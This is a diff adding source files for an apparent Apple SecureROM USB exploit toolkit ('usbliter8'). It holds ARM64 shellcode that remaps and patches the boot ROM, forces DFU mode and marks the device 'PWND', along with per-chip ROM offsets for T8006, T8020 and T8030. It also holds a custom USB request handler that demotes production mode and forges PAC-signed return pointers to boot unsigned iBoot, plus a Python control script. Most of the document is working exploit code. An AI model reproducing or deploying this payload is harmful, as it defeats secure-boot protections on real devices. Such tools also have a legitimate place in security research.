b/t8020_t8006_shellcode/targets/t8020/blocks.S @@ -0,0 +1,5 @@ +.8byte 0x19C028BC0 +.8byte 0x19C029400 +.8byte 0x19C029480 +.8byte 0x19C029500 +.8byte 0x19C0295C0 diff --git a/t8020_t8006_shellcode/targets/t8020/cleanup.S b/t8020_t8006_shellcode/targets/t8020/cleanup.S new file mode 100644 index 0000000..e40b32b --- /dev/null +++ b/t8020_t8006_shellcode/targets/t8020/cleanup.S @@ -0,0 +1,28 @@ +// t8020 pre-return cleanup code + mov x0, sp // old stack + sub sp, sp, 0xA0 // SP as it has to be inside the task routine + mov x1, sp // new stack + +stack_clear_loop: + stp xzr, xzr, [x1], #0x10 + cmp x0, x1 + bne stack_clear_loop + + // stack canary + ldr x1, =0x19C008448 + ldr x1, [x1] + str x1, [sp, #0x18] + + // set LR to expected place in task tramp + ldr x1, =0x10000ACEC + str x1, [sp, #0x78] + + ldr x1, =0x239100BA8 + str x1, [sp, #0x8] + + ldr x20, =0x239100000 + ldr x21, =0x19C010670 + mov w24, #1 + mov w25, #0x40 + mov w28, #0x1F + mov w26, #0xF diff --git a/t8020_t8006_shellcode/targets/t8020/offsets.h b/t8020_t8006_shellcode/targets/t8020/offsets.h new file mode 100644 index 0000000..c828248 --- /dev/null +++ b/t8020_t8006_shellcode/targets/t8020/offsets.h @@ -0,0 +1,31 @@ +// T8020 ROM +#define NEW_SP 0x19C028BC0 + +#define MEMCPY 0x100010BD0 +#define STRLCAT 0x100010B60 + +#define CALCULATE_HEAP_BLOCK_SUM 0x10000F664 + +#define TRAMP_BASE 0x19C018000 +#define ROM_TRAMP 0x100007640 +#define ROM_TRAMP_LEN 0x480 + +#define BOOT_TRAMP_PTEP 0x19C004030 +#define BOOT_TRAMP_PTE 0x19C0186E3 + +#define DMA_BUF_LO 0x9C029600 +#define USB_DMA_DEST 0x239100B14 + +#define JUMP_STATE 0x19C014030 + +#define HEAP_BLOCK_TO_REPAIR_DMA 0x19C0295C0 +#define HEAP_BLOCK_TO_REPAIR_IO_BUF 0x19C028BC0 +#define HEAP_WHATEVER_THAT_IS 0x19C011468 + +#define USB_SN_STR 0x19C00BC58 +#define USB_DEV_DESC_SN_IDX 0x19C00890A +#define USB_DESC_MAKE_STR 0x10000D584 + +#define USB_REQ_HANDLER_CB_ADDR 0x19C010C68 + +#define RETURN_TO_EL0_ADDR 0x10000C408 diff --git a/t8030_shellcode/make.sh b/t8030_shellcode/make.sh new file mode 100755 index 0000000..6f70e37 --- /dev/null +++ b/t8030_shellcode/make.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +set -e + +mkdir -p build + +TARGET=t8030 + +clang -arch arm64 -Os -Wl,-preload -Wl,-segalign,0x10 -Wl,-order_file,symorder.txt -nostdlib -fno-vectorize start.S patch.c tt.c -o build/shellcode_$TARGET.o +vmacho -f build/shellcode_$TARGET.o build/shellcode_$TARGET.bin + +echo -n "const " > ../resources/shellcode_$TARGET.h +xxd -i -n shellcode_$TARGET build/shellcode_$TARGET.bin >> ../resources/shellcode_$TARGET.h diff --git a/t8030_shellcode/offsets.h b/t8030_shellcode/offsets.h new file mode 100644 index 0000000..04ab36c --- /dev/null +++ b/t8030_shellcode/offsets.h @@ -0,0 +1,26 @@ +#define PAGE_SIZE (0x4000) +#define L1_PAGE_SIZE (0x2000000) + +#define SRAM_BASE 0x19C000000 +#define IO_BASE 0x200000000 + +#define NEW_SP 0x19C01E000 + +#define ROM_BASE 0x100000000 +#define ROM_NEW_PA 0x19C390000 +#define ROM_SIZE 0x30000 + +#define TTBR_BASE 0x19C388000 +#define ROM_PTE_BASE 0x19C38C000 + +#define TRAMP_OFF -0x800 +#define HANDLER_OFF -0x400 + +#define LOAD_AREA_SIZE 0x358000 + +#define BOOT_TRAMP 0x100007D00 +#define BOOT_TRAMP_REL (BOOT_TRAMP - ROM_BASE) +#define BOOT_TRAMP_LEN 0x400 + +#define STRLCPY 0x1000116F4 +#define MEMCPY 0x100011770 diff --git a/t8030_shellcode/patch.c b/t8030_shellcode/patch.c new file mode 100644 index 0000000..c6abfea --- /dev/null +++ b/t8030_shellcode/patch.c @@ -0,0 +1,45 @@ +#include +#include "offsets.h" + +extern void *tramp; +extern void *restore_rom_table; +extern void *add_pwnd_hook; + +#define SET32(_addr, _val) \ + *(volatile uint32_t *)(_addr) = _val; + +#define SET64(_addr, _val) \ + *(volatile uint64_t *)(_addr) = _val; + +#define NOP (0xd503201f) + +static +uint32_t arm64_assemble_bl(uint64_t src, uint64_t dst) { + return ((0b100101 << 26) | (((dst - src) / 4) & 0x3FFFFFF)); +} + +static +uint64_t tramp_func_off(void *func) { + uint64_t shc_off = func - (void *)&tramp; + return ROM_BASE + ROM_SIZE + shc_off + TRAMP_OFF; +} + +void rom_patchup(void) { + /* load area size tweak */ + SET32(ROM_NEW_PA + 0x7454, 0x10000060); // adr x0, 0xc + SET32(ROM_NEW_PA + 0x7458, 0xb9400000); // ldr w0, [x0] + SET32(ROM_NEW_PA + 0x745c, 0xd65f03c0); // ret + SET32(ROM_NEW_PA + 0x7460, LOAD_AREA_SIZE); + + /* keep ROM remap */ + SET32(ROM_NEW_PA + 0x7550, arm64_assemble_bl(ROM_BASE + 0x7550, tramp_func_off(&restore_rom_table))); + + /* force DFU */ + SET32(ROM_NEW_PA + 0x79A4, 0x52800020); // mov w0, 1 + + /* add PWND USB SN string */ + SET32(ROM_NEW_PA + 0x68D4, arm64_assemble_bl(ROM_BASE + 0x68D4, tramp_func_off(&add_pwnd_hook))); + + /* custom handler */ + SET64(ROM_NEW_PA + 0x29078, ROM_BASE + ROM_SIZE + HANDLER_OFF); +} diff --git a/t8030_shellcode/start.S b/t8030_shellcode/start.S new file mode 100644 index 0000000..f57e5d4 --- /dev/null +++ b/t8030_shellcode/start.S @@ -0,0 +1,201 @@ +/* + 0x19C030000 (+0x358000) - LOAD AREA + 0x19C388000 (+0x4000) - TTBR // XXX shall overlap with LOAD AREA? + 0x19C38C000 (+0x4000) - ROM PTEs + 0x19C390000 (+0x30000) - ROM + */ + +#include "offsets.h" + +.text + +.globl start +start: + msr DAIFSet, #3 + + ldr x0, =NEW_SP + mov sp, x0 + + ldr x0, =ROM_NEW_PA + ldr x1, =ROM_BASE + ldr x2, =ROM_SIZE + + ldr x8, =MEMCPY + blr x8 + + bl _rom_patchup + + adr x0, start + ldr x1, =section$start$__TEXT$__tramp + ldr x2, =section$end$__TEXT$__tramp + sub x2, x2, x1 + add x1, x1, x0 + ldr x0, =(ROM_NEW_PA + ROM_SIZE + TRAMP_OFF) + mov x19, x0 + + ldr x8, =MEMCPY + blr x8 + + // I hate this assembler + // adr xN, text_addr - yay! + // adr xN, data_addr - nay! + adrp x1, handler_len@page + add x1, x1, handler_len@pageoff + ldr w2, [x1] // size of our custom handler + add x1, x1, #0x10 // this will be the actual handler text + ldr x0, =(ROM_NEW_PA + ROM_SIZE + HANDLER_OFF) + + ldr x8, =MEMCPY + blr x8 + + mrs x0, sctlr_el1 + and x0, x0, #~0x1 + msr sctlr_el1, x0 + + dsb sy + isb + + adr x0, start + add x0, x0, #0x800 + ldr x1, =BOOT_TRAMP + ldr x2, =BOOT_TRAMP_LEN + mov x20, x0 + + ldr x8, =MEMCPY + blr x8 + + ic iallu + dsb sy + isb + + mrs x0, sctlr_el1 + orr x0, x0, 0x1 + msr sctlr_el1, x0 + + dsb sy + isb + + mov x0, x19 + br x20 + +.section __TEXT, __tramp +.globl _tramp +_tramp: + adr x0, _tramp + ldr x1, rom_pa + sub x0, x0, x1 + mov x1, ROM_BASE + add x0, x0, x1 + msr vbar_el1, x0 + + ldr x0, =NEW_SP + mov sp, x0 + + bl _tt_make + + ldr x0, mair_val + msr mair_el1, x0 + + ldr x0, tcr_val + msr tcr_el1, x0 + + ldr x0, ttbr_val + msr ttbr0_el1, x0 + isb + + dsb sy + tlbi vmalle1 + dsb sy + isb + + ldr x0, sctlr_val + msr sctlr_el1, x0 + + dsb sy + isb + + mov x8, ROM_BASE + br x8 + +.balign 8 +ttbr_val: + .8byte TTBR_BASE + +mair_val: + .8byte 0x0000FF04 + +tcr_val: + .8byte 0x1659CA51C + +sctlr_val: + .8byte 0x48D520D + +rom_pa: + .8byte ROM_NEW_PA + +.globl _restore_rom_table +_restore_rom_table: + ldr x0, rom_pte_base + orr x0, x0, #3 + + ldr x1, ttbr_base + str x0, [x1, (ROM_BASE / L1_PAGE_SIZE * 8)] + + ret + +.balign 8 +rom_pte_base: + .8byte ROM_PTE_BASE + +ttbr_base: + .8byte SRAM_BASE + +.globl _add_pwnd_hook +_add_pwnd_hook: + stp x19, x20, [sp, #-0x10]! + stp x29, x30, [sp, #-0x10]! + mov x29, sp + + mov x19, x0 + + ldr x8, strlcpy_addr + blr x8 + + mov x0, x19 + adr x1, pwnd_str + mov w2, #127 + mov w3, #127 + ldr x8, strlcpy_addr + blr x8 + + ldp x29, x30, [sp], #0x10 + ldp x19, x20, [sp], #0x10 + ret + +.balign 8 +strlcpy_addr: + .8byte STRLCPY + +pwnd_str: + .asciz " PWND:[usbliter8]" + +.balign 4 +return_to_rom_va: + mrs x0, elr_el1 + ldr x1, rom_pa + sub x0, x0, x1 + mov x1, ROM_BASE + add x0, x0, x1 + msr elr_el1, x0 + eret + +.org 0x200 +vbar_vect: + b return_to_rom_va + +.data +handler_len: + .4byte 0xDEADDEAD // populated dynamically by the exploit + +.balign 16 +handler_start: diff --git a/t8030_shellcode/symorder.txt b/t8030_shellcode/symorder.txt new file mode 100644 index 0000000..d44e18f --- /dev/null +++ b/t8030_shellcode/symorder.txt @@ -0,0 +1 @@ +start diff --git a/t8030_shellcode/tt.c b/t8030_shellcode/tt.c new file mode 100644 index 0000000..8a5488b --- /dev/null +++ b/t8030_shellcode/tt.c @@ -0,0 +1,52 @@ +#include +#include "offsets.h" + +static inline +uint64_t l3_pte_make_exec(uint64_t p) { + return (0x6E7) | (p & ~0x3FFF); +} + +static inline +uint64_t l3_pte_make_data(uint64_t p) { + return (0x60000000000667) | (p & ~0x3FFF); +} + +static inline +uint64_t l3_pte_make_io(uint64_t p) { + return (0x60000000000469) | (p & ~0x3FFF); +} + +static inline +uint64_t l3_tte_make(uint64_t p) { + return (p & ~0x3FFF) | 0b11; +} + +static inline +uint64_t l1_off(uint64_t p) { + return p / L1_PAGE_SIZE; +} + +__attribute__((section("__TEXT,__tramp"))) +void tt_make(void) { + uint64_t *ttbr = (void *)TTBR_BASE; + + uint64_t t; + + /* ROM */ + t = ROM_PTE_BASE; + for (int p = 0; p < ROM_SIZE / PAGE_SIZE; p++) { + uint64_t *ptep = (uint64_t *)t + p; + *ptep = l3_pte_make_exec(ROM_NEW_PA + p * PAGE_SIZE); + } + + *(ttbr + l1_off(ROM_BASE)) = l3_tte_make(t); + + /* SRAM */ + *(ttbr + l1_off(SRAM_BASE)) = l3_pte_make_io(SRAM_BASE); + + /* IO */ + t = IO_BASE; + for (int p = 0; p < 62; p++) { + *(ttbr + l1_off(IO_BASE) + p) = l3_pte_make_io(t + p * L1_PAGE_SIZE); + } +} diff --git a/usb.c b/usb.c new file mode 100644 index 0000000..4ea256e --- /dev/null +++ b/usb.c @@ -0,0 +1,109 @@ +#include + +#include "pico/multicore.h" + +#include "usb.h" +#include "bus.h" +#include "log.h" + +enum { + USB_CMD_BUS_INIT = 0, + USB_CMD_WAIT_FOR_DEVICE, + USB_CMD_RESET_OPEN_EP0, + USB_CMD_EXECUTE_FUNC +}; + +static struct { + usb_executee_t func; + void *ctx; +} usb_exec_ctx; + +static bus_t gBus = { 0 }; + +void usb_task(void) { + while (1) { + uint32_t cmd = multicore_fifo_pop_blocking(); + uint32_t ret = -1; + + switch (cmd) { + case USB_CMD_BUS_INIT: { + bus_init(&gBus, false); + ret = 0; + break; + } + + case USB_CMD_WAIT_FOR_DEVICE: { + bus_wait_for_connect(&gBus); + ret = 0; + break; + } + + case USB_CMD_RESET_OPEN_EP0: { + bus_reset_ep0_reopen(&gBus); + ret = 0; + break; + } + + case USB_CMD_EXECUTE_FUNC: { + ret = usb_exec_ctx.func(&gBus, usb_exec_ctx.ctx); + break; + } + } + + multicore_fifo_push_blocking(ret); + } +} + +void usb_start(void) { + multicore_reset_core1(); + multicore_launch_core1(usb_task); +} + +int _usb_task_execute_cmd(int cmd, uint64_t timeout) { + multicore_fifo_push_blocking(cmd); + + uint32_t out = -1; + + if (timeout) { + if (!multicore_fifo_pop_timeout_us(timeout, &out)) { + INFO("TIMEOUT"); + } + } else { + out = multicore_fifo_pop_blocking(); + } + + return out; +} + +#define DEFAULT_TIMEOUT_US (100 * 1000) + +int usb_bus_init(void) { + return _usb_task_execute_cmd(USB_CMD_BUS_INIT, DEFAULT_TIMEOUT_US); +} + +int usb_bus_wait_for_device(void) { + INFO("waiting for device..."); + + int ret = _usb_task_execute_cmd(USB_CMD_WAIT_FOR_DEVICE, 0); + if (ret == 0) { + INFO("connected, speed = %s", gBus.root->is_fullspeed ? "FS" : "LS"); + } + + return ret; +} + +int usb_bus_reset_open_ep0(void) { + int ret = _usb_task_execute_cmd(USB_CMD_RESET_OPEN_EP0, DEFAULT_TIMEOUT_US); + if (ret == 0) { + INFO("opened EP0"); + } + + return ret; +} + +int usb_bus_execute(usb_executee_t func, void *ctx, uint64_t timeout) { + usb_exec_ctx.func = func; + usb_exec_ctx.ctx = ctx; + + return _usb_task_execute_cmd(USB_CMD_EXECUTE_FUNC, timeout); +} diff --git a/usb.h b/usb.h new file mode 100644 index 0000000..88cd88c --- /dev/null +++ b/usb.h @@ -0,0 +1,12 @@ +#pragma once + +#include "bus.h" + +void usb_start(void); +int usb_bus_init(void); +int usb_bus_wait_for_device(void); +int usb_bus_reset_open_ep0(void); + +typedef int (*usb_executee_t)(bus_t *b, void *ctx); + +int usb_bus_execute(usb_executee_t func, void *ctx, uint64_t timeout); diff --git a/usb_req_handler/handler.c b/usb_req_handler/handler.c new file mode 100644 index 0000000..dd689b7 --- /dev/null +++ b/usb_req_handler/handler.c @@ -0,0 +1,77 @@ +#include +#include +#include "offsets.h" + +#define USB_DIRECTION_MASK 0x80 +#define USB_DEVICE2HOST 0x80 +#define USB_HOST2DEVICE 0x00 + +#define EP0_IN 0x80 + +struct usb_device_request { + uint8_t bmRequestType; + uint8_t bRequest; + uint16_t wValue; + uint16_t wIndex; + uint16_t wLength; +} __attribute__((packed)); + +enum { + DFU_DETACH = 0, + DFU_DNLOAD, + DFU_UPLOAD, + DFU_GETSTATUS, + DFU_CLR_STATUS, + DFU_GETSTATE, + DFU_ABORT, + CUSTOM_DEMOTE, + CUSTOM_BOOT +}; + +static int (*orig_handle_usb_req)(struct usb_device_request *request, uint8_t **io_buffer) = (void *)HANDLE_USB_REQ; +static void (*platform_demote)() = (void *)PLATFORM_DEMOTE; +static void (*platform_set_remote_boot)() = (void *)PLATFORM_SET_REMOTE_BOOT; + +#if WITH_PAC + +__attribute__((naked)) +uint64_t PACIB(uint64_t ptr, uint64_t ctx) { + asm("PACIB x0, x1"); + asm("RET"); +} + +#endif + +int custom_handle_usb_req(struct usb_device_request *request, uint8_t **io_buffer) { + uint8_t bmRequestType = request->bmRequestType; + uint8_t bRequest = request->bRequest; + + if ((bmRequestType & USB_DIRECTION_MASK) == USB_HOST2DEVICE) { + switch (bRequest) { + case CUSTOM_DEMOTE: { + platform_demote(); + return 0; + } + + case CUSTOM_BOOT: { + platform_set_remote_boot(); + + uint64_t ptr = -1; +#if WITH_PAC + ptr = PACIB(JUMP_AWAY, MAIN_TASK_STACK_LR + 8); +#else + ptr = JUMP_AWAY; +#endif + + *(volatile uint64_t *)MAIN_TASK_STACK_LR = ptr; + return 0; + } + } + + } else if ((bmRequestType & USB_DIRECTION_MASK) == USB_DEVICE2HOST) { + /* KBAG decryption folks? */ + } + + /* everything that doesn't fall under the conditions above goes to the original handler */ + return orig_handle_usb_req(request, io_buffer); +} diff --git a/usb_req_handler/make.sh b/usb_req_handler/make.sh new file mode 100755 index 0000000..80d19b3 --- /dev/null +++ b/usb_req_handler/make.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +set -e + +if [[ ! -n $TARGET ]]; then + echo "no TARGET specified!"; exit; +fi + +mkdir -p build + +clang -arch arm64 handler.c -Os -Wl,-preload -nostdlib -e _custom_handle_usb_req -Wl,-order_file,symorder.txt -Itargets/$TARGET -o build/handler_$TARGET.o + +vmacho -f build/handler_$TARGET.o build/handler_$TARGET.bin + +echo -n "const " > ../resources/handler_$TARGET.h +xxd -i -n handler_$TARGET build/handler_$TARGET.bin >> ../resources/handler_$TARGET.h diff --git a/usb_req_handler/symorder.txt b/usb_req_handler/symorder.txt new file mode 100644 index 0000000..779939e --- /dev/null +++ b/usb_req_handler/symorder.txt @@ -0,0 +1 @@ +_custom_handle_usb_req diff --git a/usb_req_handler/targets/t8006/offsets.h b/usb_req_handler/targets/t8006/offsets.h new file mode 100644 index 0000000..4988001 --- /dev/null +++ b/usb_req_handler/targets/t8006/offsets.h @@ -0,0 +1,8 @@ +// T8006 ROM + +#define HANDLE_USB_REQ 0x10000E388 +#define PLATFORM_DEMOTE 0x100007ED4 +#define PLATFORM_SET_REMOTE_BOOT 0x100006B54 + +#define MAIN_TASK_STACK_LR 0x1801CDF58 +#define JUMP_AWAY 0x100001B98 diff --git a/usb_req_handler/targets/t8020/offsets.h b/usb_req_handler/targets/t8020/offsets.h new file mode 100644 index 0000000..d9466f7 --- /dev/null +++ b/usb_req_handler/targets/t8020/offsets.h @@ -0,0 +1,8 @@ +// T8020 ROM + +#define HANDLE_USB_REQ 0x10000E3EC +#define PLATFORM_DEMOTE 0x100007CF8 +#define PLATFORM_SET_REMOTE_BOOT 0x100006850 + +#define MAIN_TASK_STACK_LR 0x19C01DF08 +#define JUMP_AWAY 0x100001C8C diff --git a/usb_req_handler/targets/t8030/offsets.h b/usb_req_handler/targets/t8030/offsets.h new file mode 100644 index 0000000..6e5e960 --- /dev/null +++ b/usb_req_handler/targets/t8030/offsets.h @@ -0,0 +1,10 @@ +// T8030 ROM + +#define WITH_PAC (1) + +#define HANDLE_USB_REQ 0x10000EF34 +#define PLATFORM_DEMOTE 0x10000832C +#define PLATFORM_SET_REMOTE_BOOT 0x100006EB0 + +#define MAIN_TASK_STACK_LR 0x19C01DF08 +#define JUMP_AWAY 0x1000021D0 diff --git a/usbliter8ctl b/usbliter8ctl new file mode 100755 index 0000000..1c400ac --- /dev/null +++ b/usbliter8ctl @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 + +import argparse +from pathlib import Path +import usb + +DFU_DNLOAD = 1 +DFU_ABORT = 4 +CUSTOM_DEMOTE = 7 +CUSTOM_BOOT = 8 + +def open_device(): + dev = usb.core.find(idProduct=0x1227) + + if not dev: + raise RuntimeError("no device?") + + srnm = dev.serial_number + + if "PWND:[" not in srnm: + raise RuntimeError("this is not Pwned DFU device") + + return dev + +TRANSFER_SIZE = 0x800 + +def download(dev, buf): + offset = 0 + left = len(buf) + + while left: + curr_len = min(TRANSFER_SIZE, left) + + dev.ctrl_transfer(0x21, DFU_DNLOAD, 0, 0, buf[offset:offset+curr_len], 1000) + + offset += curr_len + left -= curr_len + + print("\rsent - 0x%x" % (offset), end="") + + print() + + dev.ctrl_transfer(0x21, DFU_DNLOAD, 0, 0, None, 100) + +def do_boot(args): + with open(args.iboot, "rb") as f: + iboot = f.read() + + dev = open_device() + + download(dev, iboot) + + dev.ctrl_transfer(0x21, CUSTOM_BOOT, 0, 0, None, 100) + dev.ctrl_transfer(0x21, DFU_ABORT, 0, 0, None, 100) + +def do_demote(args): + dev = open_device() + dev.ctrl_transfer(0x21, CUSTOM_DEMOTE, 0, 0, None, 100) + +def main(): + parser = argparse.ArgumentParser(description="Love is Control") + + subparsers = parser.add_subparsers() + + boot_parser = subparsers.add_parser("boot", help="boot raw iBoot") + boot_parser.set_defaults(func=do_boot) + boot_parser.add_argument("iboot", type=Path) + + demote_parser = subparsers.add_parser("demote", help="demote production mode") + demote_parser.set_defaults(func=do_demote) + + args = parser.parse_args() + if not hasattr(args, "func"): + parser.print_help() + exit(-1) + + args.func(args) + +if __name__ == "__main__": + main()